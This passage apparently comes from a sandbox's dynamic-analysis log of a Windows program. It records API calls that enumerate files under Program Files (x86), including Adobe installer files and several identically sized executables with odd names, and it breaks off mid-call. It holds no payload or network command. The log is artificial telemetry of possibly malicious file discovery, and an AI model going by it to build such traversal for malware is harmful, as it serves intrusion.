dwReserved1=0x0, cFileName="1038.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1048.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1050.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1051.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1058.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1060.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1069.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052.mst", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x6c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ABCPY.INI", cAlternateFileName="")) returned 1 [0240.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x268000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRead.msi", cAlternateFileName="")) returned 1 [0240.511] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc69b0a00, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4c1e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc69b0a00, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x7a3f7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0240.511] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x525c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0240.511] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 1 [0240.511] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 0 [0240.511] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0240.512] GetProcessHeap () returned 0x550000 [0240.512] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 0 [0240.512] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0240.512] GetProcessHeap () returned 0x550000 [0240.512] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0240.512] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0240.512] GetProcessHeap () returned 0x550000 [0240.512] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0240.513] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f9d2b0, ftCreationTime.dwHighDateTime=0x1d5bad0, ftLastAccessTime.dwLowDateTime=0xfc039a40, ftLastAccessTime.dwHighDateTime=0x1d5d6ef, ftLastWriteTime.dwLowDateTime=0xfc039a40, ftLastWriteTime.dwHighDateTime=0x1d5d6ef, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 1 [0240.513] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5050940, ftCreationTime.dwHighDateTime=0x1d59b4e, ftLastAccessTime.dwLowDateTime=0x31a3c6f0, ftLastAccessTime.dwHighDateTime=0x1d58891, ftLastWriteTime.dwLowDateTime=0x31a3c6f0, ftLastWriteTime.dwHighDateTime=0x1d58891, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="york-singing.exe", cAlternateFileName="YORK-S~1.EXE")) returned 1 [0240.513] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5050940, ftCreationTime.dwHighDateTime=0x1d59b4e, ftLastAccessTime.dwLowDateTime=0x31a3c6f0, ftLastAccessTime.dwHighDateTime=0x1d58891, ftLastWriteTime.dwLowDateTime=0x31a3c6f0, ftLastWriteTime.dwHighDateTime=0x1d58891, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="york-singing.exe", cAlternateFileName="YORK-S~1.EXE")) returned 0 [0240.513] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0240.513] GetProcessHeap () returned 0x550000 [0240.513] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0240.514] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbe79760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe79760, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0240.970] GetProcessHeap () returned 0x550000 [0240.970] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0240.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbe79760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe79760, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0240.971] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbe79760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe79760, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.971] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8babf20, ftCreationTime.dwHighDateTime=0x1d5ae0a, ftLastAccessTime.dwLowDateTime=0x44ce44a0, ftLastAccessTime.dwHighDateTime=0x1d5a590, ftLastWriteTime.dwLowDateTime=0x44ce44a0, ftLastWriteTime.dwHighDateTime=0x1d5a590, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0240.971] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0240.971] GetProcessHeap () returned 0x550000 [0240.971] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0240.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0240.972] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.972] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0240.972] GetProcessHeap () returned 0x550000 [0240.972] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0240.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0241.019] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.019] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0241.019] GetProcessHeap () returned 0x550000 [0241.019] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.031] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: 